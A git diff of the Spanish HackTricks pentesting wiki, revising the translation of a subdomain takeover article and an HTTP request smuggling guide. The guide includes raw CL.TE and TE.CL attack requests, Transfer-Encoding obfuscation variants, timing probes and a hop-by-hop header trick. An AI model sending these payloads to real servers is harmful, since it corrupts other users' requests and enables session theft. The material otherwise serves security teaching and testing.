-* **Cookie HttpOnly** — Por defecto, las cookies pueden ser accedidas por código Javascript ejecutándose en el contexto del sitio web que creó las cookies. Javascript puede leer, actualizar y eliminar las cookies. La bandera de cookie _HttpOnly_ (establecida por el servidor web) indica que la cookie en particular no puede ser accedida por código Javascript. La única manera de obtenerla es a través de las cabeceras de solicitud y respuesta HTTP.
-* **Cookie Secure** — Cuando la cookie tiene la bandera _Secure_ establecida por el servidor web, solo puede ser comunicada de vuelta al servidor web si se utiliza HTTPS.
-
-Si el dominio es vulnerable a la toma de control de subdominios, un atacante puede recopilar cookies emitidas por ese dominio en el pasado simplemente engañando a los usuarios para que visiten ese sitio web. Las banderas HttpOnly y Secure no ayudan ya que la cookie no se accede mediante Javascript y se puede generar fácilmente un certificado SSL para el dominio tomado.
-
-El robo de cookies utilizando la toma de control fue explicado en el [reporte](https://hackerone.com/reports/172137) de recompensa por errores por Arne Swinnen. El reporte explica el problema con uno de los subdominios de _Ubiquiti Networks_ (_ping.ubnt.com_). Este subdominio era vulnerable a la toma de control de subdominios, apuntando a una distribución de AWS CloudFront no reclamada. Dado que Ubiquiti Networks está utilizando SSO con cookies de sesión comodín, todos los usuarios que visiten _ping.ubnt.com_ podrían tener sus cookies de sesión robadas. Aunque este dominio apunta a AWS CloudFront, la configuración de distribución de CloudFront permite registrar cookies con cada solicitud. Por lo tanto, el escenario de extracción de cookies de sesión es completamente posible incluso con subdominios que apuntan a AWS CloudFront. En 2017, Arne también demostró un vector de ataque similar contra [el sistema SSO de Uber](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/).
-
-El comportamiento explicado anteriormente no se limita a las cookies. Dado que los scripts de Javascript tienen control total sobre los sitios web en los que se ejecutan, tener la capacidad de reemplazar dichos scripts en el sitio web legítimo podría llevar a consecuencias catastróficas. Supongamos que el sitio web está utilizando código Javascript de un proveedor externo utilizando la etiqueta _script_ y el atributo _src_. Cuando el dominio del proveedor externo expira, el navegador falla silenciosamente, es decir, no activa ninguna alerta visible para los usuarios regulares. Si el código externo no está haciendo nada importante (por ejemplo, solo se utiliza para seguimiento), dicho proveedor externo podría permanecer en el sitio web por un período prolongado. Un atacante puede tomar control de este dominio expirado, coincidir con la ruta URL del código Javascript proporcionado y así ganar control sobre cada visitante que visite el sitio web original.
-
-Sin embargo, hay una forma de proteger la integridad de los archivos Javascript en un navegador. _Subresource Integrity_ [fue propuesto](https://www.w3.org/TR/2016/REC-SRI-20160623/) como un mecanismo para incluir un hash criptográfico como un atributo _integrity_ a la etiqueta _script_ en HTML5. Cuando el hash criptográfico proporcionado no coincide con el archivo descargado, el navegador se niega a ejecutarlo.
-
-### Correos electrónicos
-
-Cuando la toma de control de subdominios CNAME es posible, los registros MX también pueden ser configurados por un atacante a un servidor web arbitrario. Esto permite recibir correos electrónicos a un subdominio legítimo de alguna marca, particularmente útil nuevamente en ataques de (spear) phishing donde es necesaria la interacción entre un atacante y una víctima. Los atacantes suelen falsificar la cabecera `Return-Path` para recibir una respuesta al correo electrónico. Con los registros MX correctos, este problema se evita.
-
-Por otro lado, también es posible enviar correos electrónicos. Aunque es trivial falsificar la cabecera `From` para incluir cualquier dirección de correo electrónico, los filtros SPF suelen comprobar la cabecera `Return-Path` y los hosts permitidos para el envío de correos para el dominio. SPF almacena la configuración en registros DNS TXT. Con la toma de control de subdominios, los registros TXT también están bajo el control del atacante, por lo que se pueden pasar fácilmente las comprobaciones de SPF.
-
-_Como señalé al principio, estas tácticas generalmente no funcionan con la mayoría de los proveedores de la nube ya que no tienes control directo sobre la zona DNS._
-
-### Riesgos de Orden Superior
-
-El concepto de toma de control de subdominios se puede extender naturalmente a los registros NS: Si el dominio base de al menos un registro NS está disponible para registro, el nombre de dominio fuente es vulnerable a la toma de control de subdominios.
-
-Uno de los problemas en la toma de control de subdominios utilizando el registro NS es que el nombre de dominio fuente generalmente tiene múltiples registros NS. Se utilizan múltiples registros NS para redundancia y equilibrio de carga. El servidor de nombres se elige al azar antes de la resolución DNS. Supongamos que el dominio _sub.example.com_ tiene dos registros NS: _ns.vulnerable.com_ y _ns.nonvulnerable.com_. Si un atacante toma control de _ns.vulnerable.com_, la situación desde la perspectiva del usuario que consulta _sub.example.com_ es la siguiente:
-
-1. Dado que hay dos servidores de nombres, se elige uno al azar. Esto significa que la probabilidad de consultar el servidor de nombres controlado por un atacante es del 50%.
-2. Si el resolvedor DNS del usuario elige _ns.nonvulnerable.com_ (servidor de nombres legítimo), se devuelve el resultado correcto y probablemente se almacena en caché en algún lugar entre 6 y 24 horas.
-3. Si el resolvedor DNS del usuario elige _ns.vulnerable.com_ (servidor de nombres propiedad de un atacante), un atacante podría proporcionar un resultado falso que también se almacenará en caché. Dado que un atacante está en control del servidor de nombres, puede establecer el TTL para este resultado particular, por ejemplo, una semana.
-
-El proceso anterior se repite cada vez que expira la entrada de caché. Cuando un atacante elige usar un TTL con un valor alto, el resultado falso permanecerá en la caché DNS durante ese período. Durante este tiempo, todas las solicitudes a _sub.example.com_ utilizarán el resultado DNS falso almacenado en caché por un atacante. Esta idea se amplifica aún más cuando se utilizan resolutores DNS públicos (por ejemplo, Google DNS). En este caso, es probable que los resolutores públicos almacenen en caché los resultados falsos, lo que significa que todos los usuarios que utilicen el mismo resolvedor DNS obtendrán resultados falsos hasta que se revoque la caché.
-
-Además del control sobre el nombre de dominio fuente, también se obtiene control sobre todos los dominios de nivel superior del nombre de dominio fuente. Esto se debe a que poseer un nombre de dominio canónico de registro NS significa poseer la zona DNS completa del nombre de dominio fuente.
-
-En 2016, Matthew Bryant [demostró](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html) una toma de control de subdominios utilizando el registro NS en _maris.int_. El dominio de nivel superior .INT es un TLD especial, y solo un puñado de dominios lo utilizan. Bryant mostró que, aunque la registración de tales nombres de dominio es aprobada exclusivamente por la IANA, los servidores de nombres pueden configurarse a dominios arbitrarios. Dado que uno de los servidores de nombres de _maris.int_ estaba disponible para registro (_cobalt.aliis.be_), la toma de control de subdominios fue posible incluso en este TLD restringido.
-
-Matthew también [demostró](https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/index.html) un ataque de aún mayor severidad donde fue capaz de ganar control sobre el servidor de nombres del dominio de nivel superior .IO. Ganar control sobre .IO significa controlar las respuestas para todos los nombres de dominio .IO. En este caso, uno de los servidores de nombres de .IO era _ns-a1.io_, que estaba disponible para registro. Al registrar _ns-a1.io_, Bryant pudo recibir consultas DNS y controlar sus respuestas para todos los dominios .IO.
-
-### Mitigación
-
-Las estrategias de mitigación para nombres de dominio ya vulnerables a la toma de control de subdominios son bastante sencillas:
-
-* **Eliminar el registro DNS afectado** — La solución más simple es eliminar el registro afectado de la zona DNS. Este paso generalmente se utiliza si la organización concluye que el nombre de dominio fuente afectado ya no es necesario.
-* **Reclamar el nombre de dominio** — Esto significa registrar el recurso en un proveedor de la nube en particular o, en el caso de un dominio de Internet regular, volver a comprar el dominio expirado.
-
-Para prevenir la toma de control de subdominios en el futuro, las organizaciones deberían cambiar el proceso de creación y destrucción de recursos en su infraestructura. En el caso de la creación de recursos, la creación del registro DNS tiene que ser el _último paso_ de este proceso. Esta condición evita que el registro DNS apunte a un dominio inexistente en cualquier momento. Para la destrucción de recursos, lo contrario es cierto: el registro DNS necesita ser eliminado como el _primer paso_ en este proceso. Herramientas como [aquatone](https://github.com/michenriksen/aquatone) incluyen comprobaciones para la toma de control de subdominios. Las comprobaciones deben ser realizadas periódicamente por un equipo de seguridad de una organización para verificar que no hay dominios vulnerables. Los procesos para la recopilación central de nombres de dominio expuestos a menudo no son eficientes dentro de las organizaciones (debido a equipos globales, etc.) y la monitorización externa suele ser la mejor opción.
-
-La estrategia de mitigación para los proveedores de la nube también debe ser considerada. Los servicios en la nube no están verificando la propiedad del dominio. La razón detrás de esto es principalmente la conveniencia. El proveedor de la nube no está introduciendo ninguna vulnerabilidad al no verificar la propiedad de un nombre de dominio fuente. Por lo tanto, depende del usuario monitorear sus registros DNS. Otra razón es que, cuando se elimina un recurso en la nube, el usuario generalmente ya no es cliente de ese servicio. La pregunta que entonces se hacen los proveedores de la nube es: ¿Por qué deberíamos preocuparnos?
-
-Proveedores como [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/) se dieron cuenta de que la toma de control de subdominios es un problema e implementaron un mecanismo de verificación de dominio.
-
-_Algunas partes de esta publicación son extractos de mi_ [_Tesis de Maestría_](https://is.muni.cz/th/byrdn/Thesis.pdf).
-
-¡Hasta la próxima!
-
-[Patrik](https://twitter.com/0xpatrik)
-
-
-
-\
-Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&ut_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
-Obtén Acceso Hoy:
+Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
+¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-```
diff --git a/pentesting-web/http-request-smuggling/README.md b/pentesting-web/http-request-smuggling/README.md
index 2402b6464..bd09962e4 100644
--- a/pentesting-web/http-request-smuggling/README.md
+++ b/pentesting-web/http-request-smuggling/README.md
@@ -1,27 +1,27 @@
-# HTTP Request Smuggling / Ataque de Desincronización HTTP
+# Ataque de Desincronización de Solicitudes HTTP / Ataque de Desincronización HTTP
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende a hackear AWS desde cero hasta convertirte en un experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
-## Qué es
+## ¿Qué es?
-Esta vulnerabilidad ocurre cuando una **desincronización** entre **proxies frontales** y el servidor **back-end** permite a un **atacante** **enviar** una solicitud HTTP que será **interpretada** como una **solicitud única** por los proxies frontales (balanceador de carga/proxy inverso) y **como 2 solicitudes** por el servidor **back-end**.\
-Esto permite a un usuario **modificar la siguiente solicitud que llegue al servidor back-end después de la suya**.
+Esta vulnerabilidad ocurre cuando una **desincronización** entre los **proxies de front-end** y el **servidor de back-end** permite a un **atacante** **enviar** una **solicitud HTTP** que será **interpretada** como una **sola solicitud** por los **proxies de front-end** (balanceador de carga/proxy inverso) y **como 2 solicitudes** por el **servidor de back-end**.\
+Esto permite a un usuario **modificar la siguiente solicitud que llega al servidor de back-end después de la suya**.
### Teoría
-[**Especificación RFC (2161)**](https://tools.ietf.org/html/rfc2616)
+[Especificación RFC (2161)](https://tools.ietf.org/html/rfc2616)
> Si se recibe un mensaje con un campo de encabezado Transfer-Encoding y un campo de encabezado Content-Length, este último DEBE ser ignorado.
@@ -31,33 +31,33 @@ Esto permite a un usuario **modificar la siguiente solicitud que llegue al servi
**Transfer-Encoding: chunked**
-> El encabezado Transfer-Encoding especifica la forma de codificación utilizada para transferir de manera segura el cuerpo del mensaje al usuario.\
-> Chunked significa que los datos grandes se envían en una serie de fragmentos.
+> El encabezado Transfer-Encoding especifica la forma de codificación utilizada para transferir de manera segura el cuerpo de carga útil al usuario.\
+> Chunked significa que se envían datos grandes en una serie de fragmentos.
### Realidad
-El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el encabezado _**transfer-encoding**_ y el servidor **Back-end** **procesa el otro**, provocando una **desincronización** entre los 2 sistemas.\
-Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** al proxy inverso que será **interpretada** por el servidor **back-end** **como 2 solicitudes diferentes**. El **peligro** de esta técnica reside en el hecho de que el servidor **back-end** **interpretará** la **2ª solicitud inyectada** como si **proviniera del siguiente cliente** y la **solicitud real** de ese cliente será **parte** de la **solicitud inyectada**.
+El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el encabezado _**transfer-encoding**_ y el **servidor de Back-end** **procesa el otro** provocando una **desincronización** entre los 2 sistemas.\
+Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** al proxy inverso que será **interpretada** por el **servidor de back-end como 2 solicitudes diferentes**. El **peligro** de esta técnica radica en el hecho de que el **servidor de back-end interpretará la 2da solicitud inyectada** como si **hubiera venido del siguiente cliente** y la **solicitud real** de ese cliente será **parte** de la **solicitud inyectada**.
### Particularidades
Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:**
* **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la solicitud. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la solicitud**.
-* **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea**, pero esta nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
-* **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del Smuggling.
+* **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **próximo fragmento**. El **fragmento** debe **terminar** con una **nueva línea** pero esta nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
+* **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del Request Smuggling.
## Ejemplos Básicos
-Por lo tanto, los ataques de smuggling de solicitudes implican colocar tanto el encabezado `Content-Length` como el encabezado `Transfer-Encoding` en una única solicitud HTTP y manipular estos de tal manera que los servidores frontales y back-end procesen la solicitud de manera diferente. La forma exacta en que se hace esto depende del comportamiento de los dos servidores:
+Entonces, los ataques de solicitud de contrabando implican colocar tanto el encabezado `Content-Length` como el encabezado `Transfer-Encoding` en una sola solicitud HTTP y manipularlos para que los servidores de front-end y back-end procesen la solicitud de manera diferente. La forma exacta en que se hace esto depende del comportamiento de los dos servidores:
-* **CL.TE**: el servidor frontal utiliza el encabezado `Content-Length` y el servidor back-end utiliza el encabezado `Transfer-Encoding`.
-* **TE.CL**: el servidor frontal utiliza el encabezado `Transfer-Encoding` y el servidor back-end utiliza el encabezado `Content-Length`.
-* **TE.TE**: los servidores frontal y back-end admiten el encabezado `Transfer-Encoding`, pero se puede inducir a uno de los servidores a no procesarlo al ofuscar el encabezado de alguna manera.
+* **CL.TE**: el servidor de front-end utiliza el encabezado `Content-Length` y el servidor de back-end utiliza el encabezado `Transfer-Encoding`.
+* **TE.CL**: el servidor de front-end utiliza el encabezado `Transfer-Encoding` y el servidor de back-end utiliza el encabezado `Content-Length`.
+* **TE.TE**: los servidores de front-end y back-end admiten ambos el encabezado `Transfer-Encoding`, pero se puede inducir a uno de los servidores a no procesarlo al ofuscar de alguna manera el encabezado.
### Vulnerabilidades CL.TE
-Aquí, el servidor **frontal** utiliza el encabezado **`Content-Length`** y el servidor **back-end** utiliza el encabezado **`Transfer-Encoding`**. Podemos realizar un ataque simple de smuggling de solicitudes HTTP de la siguiente manera:
+Aquí, el **servidor de front-end** utiliza el encabezado **`Content-Length`** y el **servidor de back-end** utiliza el encabezado **`Transfer-Encoding`**. Podemos realizar un simple ataque de solicitud de contrabando HTTP de la siguiente manera:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@@ -68,11 +68,11 @@ Aquí, el servidor **frontal** utiliza el encabezado **`Content-Length`** y el s
`GET /404 HTTP/1.1`\
`Foo: x`
-Note cómo `Content-Length` indica que la **longitud del cuerpo de la solicitud es de 30 bytes** (_recuerde que HTTP usa como nueva línea, por lo que 2 bytes cada nueva línea_), por lo que el proxy inverso **enviará la solicitud completa** al back-end, y el back-end procesará el encabezado `Transfer-Encoding` dejando el `GET /404 HTTP/1.1` como el **comienzo de la siguiente solicitud** (por cierto, la siguiente solicitud se adjuntará a `Foo:x`).
+Observa cómo `Content-Length` indica que la **longitud del cuerpo de la solicitud es de 30 bytes** (_recuerda que HTTP usa como nueva línea, por lo que son 2 bytes por cada nueva línea_), por lo que el proxy inverso **enviará la solicitud completa** al back-end, y el back-end procesará el encabezado `Transfer-Encoding` dejando el `GET /404 HTTP/1.1` como el **inicio de la siguiente solicitud** (por cierto, la siguiente solicitud se agregará a `Foo:x`).
### Vulnerabilidades TE.CL
-Aquí, el servidor frontal utiliza el encabezado `Transfer-Encoding` y el servidor back-end utiliza el encabezado `Content-Length`. Podemos realizar un ataque simple de smuggling de solicitudes HTTP de la siguiente manera:
+Aquí, el servidor de front-end utiliza el encabezado `Transfer-Encoding` y el servidor de back-end utiliza el encabezado `Content-Length`. Podemos realizar un simple ataque de solicitud de contrabando HTTP de la siguiente manera:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@@ -84,15 +84,15 @@ Aquí, el servidor frontal utiliza el encabezado `Transfer-Encoding` y el servid
`0`\
`\`
-En este caso, el **proxy inverso** **enviará toda la solicitud** al **back-end** como indica el **`Transfer-encoding`**. Pero, el **back-end** va a **procesar** solo los **`7b`** (4 bytes) como se indica en el `Content-Length`. Por lo tanto, la siguiente solicitud será la que comience por `GET /404 HTTP/1.1`
+En este caso, el **proxy inverso** enviará **toda la solicitud** al **back-end** ya que el **`Transfer-encoding`** lo indica así. Pero, el **back-end** solo procesará los **`7b`** (4 bytes) como se indica en el `Content-Length`. Por lo tanto, la siguiente solicitud será la que comience con `GET /404 HTTP/1.1`
-_Note que incluso si el ataque debe terminar con un `0`, la siguiente solicitud se adjuntará como valores adicionales del parámetro **x**._\
-_También note que el Content-Length de la solicitud incrustada indicará la longitud de la siguiente solicitud que se adjuntará al parámetro **x**. Si es demasiado pequeño, solo se adjuntarán unos pocos bytes, y si es demasiado grande (mayor que la longitud de la siguiente solicitud) se lanzará un error para la siguiente solicitud._
+_Nota que aunque el ataque debe terminar con un `0`, la siguiente solicitud se agregará como valores adicionales del parámetro **x**._\
+_También ten en cuenta que el Content-Length de la solicitud incrustada indicará la longitud de la siguiente solicitud que se va a agregar al parámetro **x**. Si es demasiado pequeño, solo se agregarán unos pocos bytes, y si es demasiado grande (más grande que la longitud de la siguiente solicitud), se producirá un error para la siguiente solicitud._
### Vulnerabilidades TE.TE
-Aquí, los servidores frontal y back-end admiten el encabezado `Transfer-Encoding`, pero se puede inducir a uno de los servidores a no procesarlo al ofuscar el encabezado de alguna manera.\
-Hay potencialmente infinitas formas de ofuscar el encabezado `Transfer-Encoding`. Por ejemplo:
+Aquí, los servidores de front-end y back-end admiten ambos el encabezado `Transfer-Encoding`, pero uno de los servidores puede ser inducido a no procesarlo al ofuscar el encabezado de alguna manera.\
+Potencialmente hay formas interminables de ofuscar el encabezado `Transfer-Encoding`. Por ejemplo:
`Transfer-Encoding: xchunked`\
``\ `Transfer-Encoding : chunked`\``\
@@ -106,13 +106,13 @@ Hay potencialmente infinitas formas de ofuscar el encabezado `Transfer-Encoding`
`Transfer-Encoding`\
`: chunked`
-Dependiendo del servidor (proxy inverso o respaldo) que **deje de procesar** el encabezado **TE**, encontrará una vulnerabilidad **CL.TE** o una vulnerabilidad **TE.CL**.
+Dependiendo del servidor (proxy inverso o de respaldo) que **deje de procesar** el encabezado **TE**, encontrarás una **vulnerabilidad CL.TE** o una **vulnerabilidad TE.CL**.
-## Encontrando HTTP Request Smuggling
+## Encontrar Solicitudes HTTP de Contrabando
-### Encontrando vulnerabilidades CL.TE usando técnicas de tiempo
+### Encontrar vulnerabilidades CL.TE utilizando técnicas de temporización
-Si una aplicación es vulnerable a la variante CL.TE del smuggling de solicitudes, entonces enviar una solicitud como la siguiente a menudo causará un retraso en el tiempo:
+Si una aplicación es vulnerable a la variante CL.TE de solicitud de contrabando, entonces enviar una solicitud como la siguiente a menudo causará un retraso en el tiempo:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@@ -124,19 +124,19 @@ Content-Length: 4
A
0
```
-Dado que el servidor frontal utiliza el encabezado `Content-Length`, solo reenviará parte de esta solicitud, omitiendo el `0`. El servidor de fondo utiliza el encabezado `Transfer-Encoding`, procesa el primer fragmento y luego espera a que llegue el siguiente fragmento. Esto causará un retraso de tiempo observable.
+Dado que el servidor front-end utiliza el encabezado `Content-Length`, solo reenviará parte de esta solicitud, omitiendo el `0`. El servidor back-end utiliza el encabezado `Transfer-Encoding`, procesa el primer fragmento y luego espera a que llegue el siguiente fragmento. Esto causará un retraso observable en el tiempo.
-A veces, en lugar de obtener un tiempo de espera, recibes un error 400 de solicitud incorrecta del host final como en el siguiente escenario, donde se envía una carga útil CL.TE:
+A veces, en lugar de recibir un tiempo de espera, se recibe una solicitud incorrecta 400 del host final como en el siguiente escenario, donde se envía un payload CL.TE:
![](<../../.gitbook/assets/image (444).png>)
-Y la respuesta es una redirección que contiene un error dentro del cuerpo con incluso la versión del haproxy utilizado:
+Y la respuesta es una redirección que contiene un error dentro del cuerpo, incluso con la versión de haproxy utilizada:
![](<../../.gitbook/assets/image (443).png>)
-### Encontrando vulnerabilidades TE.CL utilizando técnicas de temporización
+### Encontrar vulnerabilidades TE.CL utilizando técnicas de temporización
-Si una aplicación es vulnerable a la variante TE.CL de contrabando de solicitudes, entonces enviar una solicitud como la siguiente a menudo causará un retraso de tiempo:
+Si una aplicación es vulnerable a la variante TE.CL de request smuggling, entonces enviar una solicitud como la siguiente a menudo causará un retraso en el tiempo:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@@ -147,39 +147,39 @@ Content-Length: 6
0
X
```
-### Sondeando vulnerabilidades de contrabando de solicitudes HTTP
+### Sondeando vulnerabilidades de HTTP Request Smuggling
-Una vez que hayas encontrado que las **técnicas de temporización están funcionando**, necesitas **sondear** que puedes **alterar las solicitudes de otros clientes**.\
-La forma más fácil de hacer esto es intentar envenenar tus propias solicitudes, **hacer que una solicitud a `/` devuelva un 404, por ejemplo**.\
-En los [Ejemplos Básicos](./#basic-examples) ya vimos ejemplos de `CL.TE` y `TE.CL` de cómo envenenar la solicitud de un cliente para pedir `/404` provocando una respuesta 404 cuando el cliente estaba pidiendo cualquier otro recurso.
+Una vez que hayas descubierto que las **técnicas de temporización funcionan**, necesitas **sondear** si puedes **alterar las solicitudes de otros clientes**.\
+La forma más sencilla de hacer esto es intentar envenenar tus propias solicitudes, **hacer una solicitud para `/` y que devuelva un 404, por ejemplo**.\
+En los [Ejemplos Básicos](./#basic-examples) ya vimos ejemplos de `CL.TE` y `TE.CL` de cómo envenenar una solicitud de un cliente para pedir `/404`, provocando una respuesta 404 cuando el cliente estaba solicitando cualquier otro recurso.
**Notas**
-Algunas consideraciones importantes deben tenerse en cuenta al intentar confirmar vulnerabilidades de contrabando de solicitudes a través de la interferencia con otras solicitudes:
+Al intentar confirmar vulnerabilidades de request smuggling mediante la interferencia con otras solicitudes, se deben tener en cuenta algunas consideraciones importantes:
-* La solicitud de "ataque" y la solicitud "normal" deben enviarse al servidor utilizando diferentes conexiones de red. Enviar ambas solicitudes a través de la misma conexión no probará que la vulnerabilidad existe.
-* La solicitud de "ataque" y la solicitud "normal" deben usar la misma URL y nombres de parámetros, en la medida de lo posible. Esto se debe a que muchas aplicaciones modernas enrutan las solicitudes del front-end a diferentes servidores back-end basados en la URL y los parámetros. Usar la misma URL y parámetros aumenta la posibilidad de que las solicitudes sean procesadas por el mismo servidor back-end, lo cual es esencial para que el ataque funcione.
-* Al probar la solicitud "normal" para detectar cualquier interferencia de la solicitud de "ataque", estás en una carrera con cualquier otra solicitud que la aplicación esté recibiendo al mismo tiempo, incluidas las de otros usuarios. Debes enviar la solicitud "normal" inmediatamente después de la solicitud de "ataque". Si la aplicación está ocupada, podrías necesitar realizar varios intentos para confirmar la vulnerabilidad.
-* En algunas aplicaciones, el servidor front-end funciona como un balanceador de carga y reenvía las solicitudes a diferentes sistemas back-end de acuerdo con algún algoritmo de balanceo de carga. Si tus solicitudes de "ataque" y "normal" se reenvían a diferentes sistemas back-end, entonces el ataque fallará. Esta es una razón adicional por la que podrías necesitar intentarlo varias veces antes de que se pueda confirmar una vulnerabilidad.
-* Si tu ataque tiene éxito en interferir con una solicitud posterior, pero esta no fue la solicitud "normal" que enviaste para detectar la interferencia, entonces esto significa que otro usuario de la aplicación fue afectado por tu ataque. Si continúas realizando la prueba, esto podría tener un efecto perturbador en otros usuarios, y debes proceder con precaución.
+* La solicitud de "ataque" y la solicitud "normal" deben enviarse al servidor utilizando conexiones de red diferentes. Enviar ambas solicitudes a través de la misma conexión no demostrará que la vulnerabilidad existe.
+* La solicitud de "ataque" y la solicitud "normal" deben usar la misma URL y nombres de parámetros, en la medida de lo posible. Esto se debe a que muchas aplicaciones modernas dirigen las solicitudes de front-end a diferentes servidores de back-end según la URL y los parámetros. Usar la misma URL y parámetros aumenta la posibilidad de que las solicitudes sean procesadas por el mismo servidor de back-end, lo cual es esencial para que el ataque funcione.
+* Al probar la solicitud "normal" para detectar cualquier interferencia de la solicitud "ataque", estás compitiendo con cualquier otra solicitud que la aplicación esté recibiendo al mismo tiempo, incluidas las de otros usuarios. Debes enviar la solicitud "normal" inmediatamente después de la solicitud "ataque". Si la aplicación está ocupada, es posible que necesites realizar varios intentos para confirmar la vulnerabilidad.
+* En algunas aplicaciones, el servidor de front-end funciona como un balanceador de carga y reenvía las solicitudes a diferentes sistemas de back-end según algún algoritmo de equilibrio de carga. Si tus solicitudes "ataque" y "normal" se reenvían a diferentes sistemas de back-end, entonces el ataque fallará. Esta es una razón adicional por la que es posible que necesites intentarlo varias veces antes de que se pueda confirmar una vulnerabilidad.
+* Si tu ataque tiene éxito al interferir con una solicitud posterior, pero esta no fue la solicitud "normal" que enviaste para detectar la interferencia, esto significa que otro usuario de la aplicación se vio afectado por tu ataque. Si continúas realizando la prueba, esto podría tener un efecto disruptivo en otros usuarios, por lo que debes tener precaución.
### Forzando a través de encabezados hop-by-hop
-Abusando de los encabezados hop-by-hop podrías indicar al proxy que **elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar del contrabando de solicitudes HTTP**.
+Abusando de los encabezados hop-by-hop, podrías indicar al proxy que **elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar de un HTTP request smuggling**.
```
Connection: Content-Length
```
-Para **más información sobre encabezados hop-by-hop** visita:
